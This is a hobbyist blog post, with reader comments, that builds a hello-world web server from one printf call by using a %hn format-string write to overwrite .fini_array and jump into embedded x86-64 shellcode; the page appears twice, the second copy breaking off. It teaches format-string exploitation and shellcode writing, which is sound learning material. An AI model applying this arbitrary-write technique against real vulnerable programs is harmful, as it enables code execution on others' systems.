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https://tinyhack.com/2014/03/12/implementing-a-web-server-in-a-single-printf-call/?replytocom=23520#respond | Implementing a web server in a single printf() call – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Implementing a web server in a single printf() call A guy just forwarded a joke that most of us will already know Jeff Dean Facts (also here and here ). Everytime I read that list, this part stands out: Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search. It is really possible to implement a web server using a single printf call, but I haven’t found anyone doing it. So this time after reading the list, I decided to implement it. So here is the code, a pure single printf call, without any extra variables or macros (don’t worry, I will explain how to this code works) #include <stdio.h> int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3", ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 + 2, (((unsigned long int)0x4005c8 + 12) & 0xffff)- ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 ); } This code only works on a Linux AMD64 bit system, with a particular compiler (gcc version 4.8.2 (Debian 4.8.2-16) ) And to compile it: gcc -g web1.c -O webserver As some of you may have guessed: I cheated by using a special format string . That code may not run on your machine because I have hardcoded two addresses. The following version is a little bit more user friendly (easier to change), but you are still going to need to change 2 values: FUNCTION_ADDR and DESTADDR which I will explain later: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) #define DESTADDR 0x00000000006007D8 #define a (FUNCTION_ADDR & 0xffff) #define b ((FUNCTION_ADDR >> 16) & 0xffff) int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3" , b, 0, DESTADDR + 2, a-b, 0, DESTADDR ); } I will explain how the code works through a series of short C codes. The first one is a code that will explain how that we can start another code without function call. See this simple code: #include <stdlib.h> #include <stdio.h> #define ADDR 0x00000000600720 void hello() { printf("hello world\n"); } int main(int argc, char *argv[]) { (*((unsigned long int*)ADDR))= (unsigned long int)hello; } You can compile it, but it many not run on your system. You need to do these steps: 1. Compile the code: gcc run-finalizer.c -o run-finalizer 2. Examine the address of fini_array objdump -h -j .fini_array run-finalizer And find the VMA of it: run-finalizer: file format elf64-x86-64 Sections: Idx Name Size VMA LMA File off Algn 18 .fini_array 00000008 0000000000600720 0000000000600720 00000720 2**3 CONTENTS, ALLOC, LOAD, DATA Note that you need a recent GCC to do this, older version of gcc uses different mechanism of storing finalizers. 3. Change the value of ADDR on the code to the correct address 4. Compile the code again 5. Run it and now you will see “hello world” printed to your screen. How does this work exactly?: According to Chapter 11 of Linux Standard Base Core Specification 3.1 .fini_array This section holds an array of function pointers that contributes to a single termination array for the executable or shared object containing the section. We are overwriting the array so that our hello function is called instead of the default handler. If you are trying to compile the webserver code, the value of ADDR is obtained the same way (using objdump). Ok, now we know how to execute a function by overriding a certain address, we need to know how we can overwrite an address using printf . You can find many tutorials on how to exploit format string bugs, but I will try give a short explanation. The printf function has this feature that enables us to know how many characters has been printed using the “%n” format: #include <stdio.h> int main(){ int count; printf("AB%n", &count); printf("\n%d characters printed\n", count); } You will see that the output is: AB 2 characters printed Of course we can put any address to the count pointer to overwrite that address. But to overide an address with a large value we need to print a large amount of text. Fortunately there is another format string “%hn” that works on short instead of int. We can overwrite the value 2 bytes at a time to form the 4 byte value that we want. Lets try to use two printf calls to put a¡ value that we want (in this case the pointer to function “hello”) to the fini_array: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)hello) #define DESTADDR 0x0000000000600948 void hello() { printf("\n\n\n\nhello world\n\n"); } int main(int argc, char *argv[]) { short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("a = %04x b = %04x\n", a, b) uint64_t *p = (uint64_t*)DESTADDR; printf("before: %08lx\n", *p); printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("after1: %08lx\n", *p); printf("%*c%hn", a, 0, DESTADDR); printf("after2: %08lx\n", *p); return 0; } The important lines are: short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("%*c%hn", a, 0, DESTADDR); The a and b are just halves of the function address, we can construct a string of length a and b to be given to printf, but I chose to use the “%*” formatting which will control the length of the output through parameter. For example, this code: printf("%*c", 10, 'A'); Will print 9 spaces followed by A, so in total, 10 characters will be printed. If we want to use just one printf, we need to take account that b bytes have been printed, and we need to print another b-a bytes (the counter is accumulative). printf("%*c%hn%*c%hn", b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); Currently we are using the “hello” function to call, but we can call any function (or any address). I have written a shellcode that acts as a web server that just prints “Hello world”. This is the shell code that I made: unsigned char hello[] = "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3"; If we remove the function hello and insert that shell code, that code will be called. That code is just a string, so we can append it to the “%*c%hn%*c%hn” format string. This string is unnamed, so we will need to find the address after we compile it. To obtain the address, we need to compile the code, then disassemble it: objdump -d webserver 00000000004004fd <main>: 4004fd: 55 push %rbp 4004fe: 48 89 e5 mov %rsp,%rbp 400501: 48 83 ec 20 sub $0x20,%rsp 400505: 89 7d fc mov %edi,-0x4(%rbp) 400508: 48 89 75 f0 mov %rsi,-0x10(%rbp) 40050c: c7 04 24 d8 07 60 00 movl $0x6007d8,(%rsp) 400513: 41 b9 00 00 00 00 mov $0x0,%r9d 400519: 41 b8 94 05 00 00 mov $0x594,%r8d 40051f: b9 da 07 60 00 mov $0x6007da,%ecx 400524: ba 00 00 00 00 mov $0x0,%edx 400529: be 40 00 00 00 mov $0x40,%esi 40052e: bf c8 05 40 00 mov $0x4005c8,%edi 400533: b8 00 00 00 00 mov $0x0,%eax 400538: e8 a3 fe ff ff callq 4003e0 <printf@plt> 40053d: c9 leaveq 40053e: c3 retq 40053f: 90 nop We only need to care about this line: mov $0x4005c8,%edi That is the address that we need in: #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) The +12 is needed because our shell code starts after the string “%*c%hn%*c%hn” which is 12 characters long. If you are curious about the shell code, it was created from the following C code. #include<stdio.h> #include<string.h> #include<stdlib.h> #include<unistd.h> #include<sys/types.h> #include<sys/stat.h> #include<sys/socket.h> #include<arpa/inet.h> #include<netdb.h> #include<signal.h> #include<fcntl.h> int main(int argc, char *argv[]) { int sockfd = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in serv_addr; bzero((char *)&serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; serv_addr.sin_port = htons(8080); bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)); listen(sockfd, 5); while (1) { int cfd = accept(sockfd, 0, 0); char *s = "HTTP/1.0 200\r\nContent-type:text/html\r\n\r\n<h1>Hello world!</h1>"; if (fork()==0) { write(cfd, s, strlen(s)); shutdown(cfd, SHUT_RDWR); close(cfd); } } return 0; } I have done an extra effort (although it is not really necessary in this case) to remove all NUL character from the shell code (since I couldn’t find one for X86-64 in the Shellcodes database ). Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search . It is left as an exercise for the reader to scale the web server to able to handle Google search load. Source codes for this post is available at https://github.com/yohanes/printf-webserver For people who thinks that this is useless: yes it is useless. I just happen to like this challenge, and it has refreshed my memory and knowledge for the following topics: shell code writing (haven’t done this in years), AMD64 assembly (calling convention, preserved registers, etc), syscalls, objdump, fini_array (last time I checked, gcc still used .dtors), printf format exploiting, gdb tricks (like writing memory block to file), and low level socket code (I have been using boost’s for the past few years). Update : Ubuntu adds a security feature that provides a read-only relocation table area in the final ELF. To be able to run the examples in ubuntu, add this in the command line when compiling -Wl,-z,norelro e.g: gcc -Wl,-z,norelro test.c Author admin Posted on March 12, 2014 April 28, 2017 Categories hacks 18 thoughts on “Implementing a web server in a single printf() call” dodi says: March 12, 2014 at 2:04 pm eh buset, serius nih lu ? 🙂 Reply priyo says: March 13, 2014 at 5:07 am scroll up… scroll down… scroll up… scroll down… 100x *gagal paham* Reply terminalcommand says: March 13, 2014 at 5:19 am Thank you! Very interesting article. I also didn’t know about the one line webserver at google. Although this is a hard topic, you’ve made a great work simplifying it. Reply Basun says: March 13, 2014 at 10:02 am The one line webserver bit is a joke about Jeff Dean, who works at Google. Its not real. 🙂 Reply Cees Timmerman says: April 20, 2016 at 4:12 pm There are real webserver oneliners: https://gist.github.com/willurd/5720255 Reply anonim says: March 13, 2014 at 5:29 am Diskusinya di https://news.ycombinator.com/item?id=7389623 Reply Neil says: March 13, 2014 at 12:38 pm Shouldn’t there be an exit() somewhere in the fork==0 branch? Otherwise every time there is a request the new child process will become a server too and start accepting requests, right? I think the parent leaks its copy of the file descriptor too. Maybe the fork is a bit redundant. I don’t think the write or close will block with such a small amount of data. Cool post though! I’m not really sure why I’m nitpicking in the shell code. Sorry. Reply admin says: March 14, 2014 at 1:58 am Ah yes, there is an exit from the loop on the assembly code (myhttp.s) but it got removed from http.c when I removed the comment and debug code. And you are also right about the fork, it is unnecessary in this case. At first I was going to write the HTTP headers and then exec some external command. I changed my mind and didn’t bother deleting the fork call. Reply Kyle Ross says: March 13, 2014 at 11:02 pm This is really interesting, but I’m having trouble following whats actually happening. Could you explain how you reduced that C code with includes and methods into a string containing hex codes and how that is turned back into some sort of executable code? Thanks Reply admin says: March 14, 2014 at 2:01 am I think it is beyond the scope of this article to explain about shell code writing. There are many books and tutorials that you can read (just search for “buffer overflow” or “shell code writing”). Reply TTK Ciar says: March 14, 2014 at 1:05 am Alternatively: $ perl -Mojo -E ‘a({inline => “%= `uptime`”})->start’ daemon & Server available at http://127.0.0.1:3000 . $ lynx -dump -nolist http://127.0.0.1:3000/ 17:57:56 up 66 days, 6:45, 108 users, load average: 0.10, 0.12, 0.07 though, perl by definition is cheating. Reply Evan Danaher says: March 14, 2014 at 2:54 pm I’m not sure why you used finalizers instead of just changing the return address on the stack; this may be the first time I’ve ever said this, but stack smashing is much more portable. I’ve made a variant that I’d expect to work on any gcc 4.4-4.7 on x86_64 Linux, and have some ideas which, if they work out, may make it actually “portable” to any x86/x86_64 Unix running a reasonable compiler. https://github.com/edanaher/printf-webserver Reply admin says: March 17, 2014 at 3:02 pm Yes using the stack is also possible, but on most modern system, GCC is compiled with stack protection turned on (and needs to be disabled using -fno-stack-protector). Reply Pingback: Implementing a web server in a single printf() call « adafruit industries blog Itzik Kotler says: March 15, 2014 at 4:35 pm Pretty neat. I did something similar (all though simpler) back in the days. See: http://www.exploit-db.com/papers/13233/ Reply Pingback: Saving the world, one cpu cycle at a time | Dav's bit o the web programath says: April 22, 2014 at 1:18 pm printf(“%*c%hn%*c%hn”, b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); ————————————————— i think the fourth parameter should be ‘a-b’, not ‘b-a’, because a == b + (a – b) Reply Pingback: New top story on Hacker News: Implementing a web server in a single printf call (2014) – Latest news Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. 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https://tinyhack.com/2014/03/12/implementing-a-web-server-in-a-single-printf-call/#comment-23561 | Implementing a web server in a single printf() call – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Implementing a web server in a single printf() call A guy just forwarded a joke that most of us will already know Jeff Dean Facts (also here and here ). Everytime I read that list, this part stands out: Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search. It is really possible to implement a web server using a single printf call, but I haven’t found anyone doing it. So this time after reading the list, I decided to implement it. So here is the code, a pure single printf call, without any extra variables or macros (don’t worry, I will explain how to this code works) #include <stdio.h> int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3", ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 + 2, (((unsigned long int)0x4005c8 + 12) & 0xffff)- ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 ); } This code only works on a Linux AMD64 bit system, with a particular compiler (gcc version 4.8.2 (Debian 4.8.2-16) ) And to compile it: gcc -g web1.c -O webserver As some of you may have guessed: I cheated by using a special format string . That code may not run on your machine because I have hardcoded two addresses. The following version is a little bit more user friendly (easier to change), but you are still going to need to change 2 values: FUNCTION_ADDR and DESTADDR which I will explain later: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) #define DESTADDR 0x00000000006007D8 #define a (FUNCTION_ADDR & 0xffff) #define b ((FUNCTION_ADDR >> 16) & 0xffff) int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3" , b, 0, DESTADDR + 2, a-b, 0, DESTADDR ); } I will explain how the code works through a series of short C codes. The first one is a code that will explain how that we can start another code without function call. See this simple code: #include <stdlib.h> #include <stdio.h> #define ADDR 0x00000000600720 void hello() { printf("hello world\n"); } int main(int argc, char *argv[]) { (*((unsigned long int*)ADDR))= (unsigned long int)hello; } You can compile it, but it many not run on your system. You need to do these steps: 1. Compile the code: gcc run-finalizer.c -o run-finalizer 2. Examine the address of fini_array objdump -h -j .fini_array run-finalizer And find the VMA of it: run-finalizer: file format elf64-x86-64 Sections: Idx Name Size VMA LMA File off Algn 18 .fini_array 00000008 0000000000600720 0000000000600720 00000720 2**3 CONTENTS, ALLOC, LOAD, DATA Note that you need a recent GCC to do this, older version of gcc uses different mechanism of storing finalizers. 3. Change the value of ADDR on the code to the correct address 4. Compile the code again 5. Run it and now you will see “hello world” printed to your screen. How does this work exactly?: According to Chapter 11 of Linux Standard Base Core Specification 3.1 .fini_array This section holds an array of function pointers that contributes to a single termination array for the executable or shared object containing the section. We are overwriting the array so that our hello function is called instead of the default handler. If you are trying to compile the webserver code, the value of ADDR is obtained the same way (using objdump). Ok, now we know how to execute a function by overriding a certain address, we need to know how we can overwrite an address using printf . You can find many tutorials on how to exploit format string bugs, but I will try give a short explanation. The printf function has this feature that enables us to know how many characters has been printed using the “%n” format: #include <stdio.h> int main(){ int count; printf("AB%n", &count); printf("\n%d characters printed\n", count); } You will see that the output is: AB 2 characters printed Of course we can put any address to the count pointer to overwrite that address. But to overide an address with a large value we need to print a large amount of text. Fortunately there is another format string “%hn” that works on short instead of int. We can overwrite the value 2 bytes at a time to form the 4 byte value that we want. Lets try to use two printf calls to put a¡ value that we want (in this case the pointer to function “hello”) to the fini_array: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)hello) #define DESTADDR 0x0000000000600948 void hello() { printf("\n\n\n\nhello world\n\n"); } int main(int argc, char *argv[]) { short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("a = %04x b = %04x\n", a, b) uint64_t *p = (uint64_t*)DESTADDR; printf("before: %08lx\n", *p); printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("after1: %08lx\n", *p); printf("%*c%hn", a, 0, DESTADDR); printf("after2: %08lx\n", *p); return 0; } The important lines are: short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("%*c%hn", a, 0, DESTADDR); The a and b are just halves of the function address, we can construct a string of length a and b to be given to printf, but I chose to use the “%*” formatting which will control the length of the output through parameter. For example, this code: printf("%*c", 10, 'A'); Will print 9 spaces followed by A, so in total, 10 characters will be printed. If we want to use just one printf, we need to take account that b bytes have been printed, and we need to print another b-a bytes (the counter is accumulative). printf("%*c%hn%*c%hn", b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); Currently we are using the “hello” function to call, but we can call any function (or any address). I have written a shellcode that acts as a web server that just prints “Hello world”. This is the shell code that I made: unsigned char hello[] = "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3"; If we remove the function hello and insert that shell code, that code will be called. That code is just a string, so we can append it to the “%*c%hn%*c%hn” format string. This string is unnamed, so we will need to find the address after we compile it. To obtain the address, we need to compile the code, then disassemble it: objdump -d webserver 00000000004004fd <main>: 4004fd: 55 push %rbp 4004fe: 48 89 e5 mov %rsp,%rbp 400501: 48 83 ec 20 sub $0x20,%rsp 400505: 89 7d fc mov %edi,-0x4(%rbp) 400508: 48 89 75 f0 mov %rsi,-0x10(%rbp) 40050c: c7 04 24 d8 07 60 00 movl $0x6007d8,(%rsp) 400513: 41 b9 00 00 00 00 mov $0x0,%r9d 400519: 41 b8 94 05 00 00 mov $0x594,%r8d 40051f: b9 da 07 60 00 mov $0x6007da,%ecx 400524: ba 00 00 00 00 mov $0x0,%edx 400529: be 40 00 00 00 mov $0x40,%esi 40052e: bf c8 05 40 00 mov $0x4005c8,%edi 400533: b8 00 00 00 00 mov $0x0,%eax 400538: e8 a3 fe ff ff callq 4003e0 <printf@plt> 40053d: c9 leaveq 40053e: c3 retq 40053f: 90 nop We only need to care about this line: mov $0x4005c8,%edi That is the address that we need in: #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) The +12 is needed because our shell code starts after the string “%*c%hn%*c%hn” which is 12 characters long. If you are curious about the shell code, it was created from the following C code. #include<stdio.h> #include<string.h> #include<stdlib.h> #include<unistd.h> #include<sys/types.h> #include<sys/stat.h> #include<sys/socket.h> #include<arpa/inet.h> #include<netdb.h> #include<signal.h> #include<fcntl.h> int main(int argc, char *argv[]) { int sockfd = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in serv_addr; bzero((char *)&serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; serv_addr.sin_port = htons(8080); bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)); listen(sockfd, 5); while (1) { int cfd = accept(sockfd, 0, 0); char *s = "HTTP/1.0 200\r\nContent-type:text/html\r\n\r\n<h1>Hello world!</h1>"; if (fork()==0) { write(cfd, s, strlen(s)); shutdown(cfd, SHUT_RDWR); close(cfd); } } return 0; } I have done an extra effort (although it is not really necessary in this case) to remove all NUL character from the shell code (since I couldn’t find one for X86-64 in the Shellcodes database ). Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search . It is left as an exercise for the reader to scale the web server to able to handle Google search load. Source codes for this post is available at https://github.com/yohanes/printf-webserver For people who thinks that this is useless: yes it is useless. I just happen to like this challenge, and it has refreshed my memory and knowledge for the following topics: shell code writing (haven’t done this in years), AMD64 assembly (calling convention, preserved registers, etc), syscalls, objdump, fini_array (last time I checked, gcc still used .dtors), printf format exploiting, gdb tricks (like writing memory block to file), and low level socket code (I have been using boost’s for the past few years). Update : Ubuntu adds a security feature that provides a read-only relocation table area in the final ELF. To be able to run the examples in ubuntu, add this in the command line when compiling -Wl,-z,norelro e.g: gcc -Wl,-z,norelro test.c Author admin Posted on March 12, 2014 April 28, 2017 Categories hacks 18 thoughts on “Implementing a web server in a single printf() call” dodi says: March 12, 2014 at 2:04 pm eh buset, serius nih lu ? 🙂 Reply priyo says: March 13, 2014 at 5:07 am scroll up… scroll down… scroll up… scroll down… 100x *gagal paham* Reply terminalcommand says: March 13, 2014 at 5:19 am Thank you! Very interesting article. I also didn’t know about the one line webserver at google. Although this is a hard topic, you’ve made a great work simplifying it. Reply Basun says: March 13, 2014 at 10:02 am The one line webserver bit is a joke about Jeff Dean, who works at Google. Its not real. 🙂 Reply Cees Timmerman says: April 20, 2016 at 4:12 pm There are real webserver oneliners: https://gist.github.com/willurd/5720255 Reply anonim says: March 13, 2014 at 5:29 am Diskusinya di https://news.ycombinator.com/item?id=7389623 Reply Neil says: March 13, 2014 at 12:38 pm Shouldn’t there be an exit() somewhere in the fork==0 branch? Otherwise every time there is a request the new child process will become a server too and start accepting requests, right? I think the parent leaks its copy of the file descriptor too. Maybe the fork is a bit redundant. I don’t think the write or close will block with such a small amount of data. Cool post though! I’m not really sure why I’m nitpicking in the shell code. Sorry. Reply admin says: March 14, 2014 at 1:58 am Ah yes, there is an exit from the loop on the assembly code (myhttp.s) but it got removed from http.c when I removed the comment and debug code. And you are also right about the fork, it is unnecessary in this case. At first I was going to write the HTTP headers and then exec some external command. I changed my mind and didn’t bother deleting the fork call. Reply Kyle Ross says: March 13, 2014 at 11:02 pm This is really interesting, but I’m having trouble following whats actually happening. Could you explain how you reduced that C code with includes and methods into a string containing hex codes and how that is turned back into some sort of executable code? Thanks Reply admin says: March 14, 2014 at 2:01 am I think it is beyond the scope of this article to explain about shell code writing. There are many books and tutorials that you can read (just search for “buffer overflow” or “shell code writing”). Reply TTK Ciar says: March 14, 2014 at 1:05 am Alternatively: $ perl -Mojo -E ‘a({inline => “%= `uptime`”})->start’ daemon & Server available at http://127.0.0.1:3000 . $ lynx -dump -nolist http://127.0.0.1:3000/ 17:57:56 up 66 days, 6:45, 108 users, load average: 0.10, 0.12, 0.07 though, perl by definition is cheating. Reply Evan Danaher says: March 14, 2014 at 2:54 pm I’m not sure why you used 